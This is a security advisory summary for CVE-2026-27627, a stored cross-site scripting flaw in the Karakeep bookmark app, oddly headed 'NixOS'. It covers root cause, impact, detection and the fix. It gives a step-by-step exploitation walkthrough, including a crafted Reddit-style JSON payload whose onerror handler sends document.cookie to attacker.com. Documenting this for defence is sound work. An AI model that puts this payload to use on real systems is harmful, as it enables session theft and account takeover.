CVE-2026-27627: 
NixOS vulnerability analysis and mitigation

CVE-2026-27627 is a stored Cross-Site Scripting (XSS) vulnerability in Karakeep (formerly Hoarder), a self-hostable bookmark management application. In version 0.30.0, the Reddit metascraper plugin returns readableContentHtml content that is passed directly to dangerouslySetInnerHTML in the reader view without being sanitized through DOMPurify, allowing malicious HTML/JavaScript from a crafted Reddit-like response to execute in the victim's browser. The vulnerability was reported by researcher ByamB4, disclosed via GitHub Security Advisory GHSA-mg93-f9mw-wpgj on February 22, 2026, and patched in version 0.31.0. It carries a CVSS v3.1 base score of 8.2 (High) per the GitHub advisory (GitHub Advisory, Feedly).

The root cause (CWE-79) lies in an inconsistent sanitization path within apps/workers/scripts/parseHtmlSubprocess.ts. When the Reddit metascraper plugin sets meta.readableContentHtml, the code uses that value directly — skipping both the Readability parsing step and the DOMPurify sanitization that all other content sources undergo. The Reddit plugin (metascraper-reddit.ts) fetches post data from Reddit's JSON API, HTML-entity-decodes selftext_html, and returns it as readableContentHtml with no further sanitization. This unsanitized HTML is stored in the bookmarkLinks.htmlContent database column and later rendered via dangerouslySetInnerHTML in packages/shared-react/components/BookmarkHtmlHighlighter.tsx. The main application also lacks Content-Security-Policy headers, meaning inline scripts and event handlers execute freely (GitHub Advisory, Patch Commit).

Successful exploitation results in stored XSS that executes in the context of the main Karakeep application every time the affected bookmark is opened in reader view. An attacker can steal session cookies and JWT tokens, read all of the victim's bookmarks, lists, and API keys, and perform arbitrary actions as the victim (creating/deleting bookmarks, changing settings). In shared Karakeep instances, the payload persists in the database and can affect any user who opens the malicious bookmark — including administrators, potentially enabling privilege escalation (GitHub Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, including a full attack walkthrough with sample payloads. The EPSS score is approximately 0.031% (low probability of widespread exploitation). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction (a victim must open the malicious bookmark in reader view) but requires no privileges from the attacker and has low attack complexity (GitHub Advisory, Feedly).

1. Set up attacker-controlled server: Host a server at a domain that passes the Reddit plugin's domain check (e.g., a subdomain or lookalike of reddit.com — the advisory notes a related domain-spoofing issue). Serve a crafted JSON response at a path matching Reddit's API format (e.g., /r/test/comments/abc123/post.json) containing a malicious selftext_html payload:

[{"data":{"children":[{"data":{"title":"Interesting article","selftext_html":"<p>Check this out!</p><img src=x onerror=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\">","author":"someuser","created_utc":1740000000,"subreddit_name_prefixed":"r/test"}}]}}]

Also serve a basic HTML page at the same path (without .json) so the initial crawl succeeds. 2. Deliver the malicious bookmark: Trick a victim into bookmarking the attacker-controlled URL via the Karakeep browser extension, web UI, or API. In a shared instance, the attacker can create their own account, bookmark the URL, add it to a shared list, and wait for other users to view it. 3. Crawler processes the bookmark: Karakeep's worker fetches the page, the Reddit metascraper plugin triggers on the matching domain, fetches the .json endpoint, HTML-entity-decodes selftext_html, and stores the unsanitized HTML in bookmarkLinks.htmlContent in the database. 4. Payload executes on victim's browser: When the victim opens the bookmark in reader/preview mode, BookmarkHtmlHighlighter.tsx renders the stored HTML via dangerouslySetInnerHTML, executing the injected JavaScript. The payload exfiltrates cookies or session tokens to the attacker's server. The payload fires every subsequent time the bookmark is opened (GitHub Advisory).

• Network: Outbound HTTP requests from a user's browser to unexpected external domains (e.g., attacker.com) containing cookie or token data in query parameters; unusual fetch requests originating from the Karakeep web application domain.
• Logs: Karakeep crawler logs showing bookmark creation for Reddit-like URLs from unfamiliar or suspicious domains; database entries in bookmarkLinks.htmlContent containing raw <script> tags, onerror=, onload=, or other JavaScript event handler attributes.
• File System / Database: Entries in the bookmarkLinks table where htmlContent contains unsanitized HTML with inline JavaScript or event handlers, particularly for bookmarks with Reddit-like source URLs.
• Browser: Unexpected network requests to third-party domains when opening bookmarks in reader view; browser developer tools showing JavaScript execution triggered by dangerouslySetInnerHTML-rendered content (GitHub Advisory).

Upgrade Karakeep from version 0.30.0 to version 0.31.0 or later. The patch (commit ba3db95) adds DOMPurify sanitization to the readableContentHtml path in parseHtmlSubprocess.ts, creating a JSDOM instance and running purify.sanitize() on plugin-provided HTML before it is stored. Docker users should run docker compose pull && docker compose up -d (or bump the pinned version tag). As an interim measure, consider implementing a Content-Security-Policy header to restrict inline script execution, and exercise caution when bookmarking URLs from untrusted or unfamiliar Reddit-like sources (GitHub Advisory, Patch Commit, Release v0.31.0).

The vulnerability was reported by researcher ByamB4 and acknowledged by Karakeep maintainer MohamedBassem, who published the advisory and patch simultaneously with the v0.31.0 release on February 22, 2026. The release notes explicitly call out the security fix: "[Security] Sanitize reddit's crawling output to prevent stored XSS." The issue received coverage from automated CVE tracking services and security news aggregators including The Hacker Wire and Digg's cybersecurity digest, as well as social media posts on Mastodon and Bluesky (GitHub Advisory, Release v0.31.0).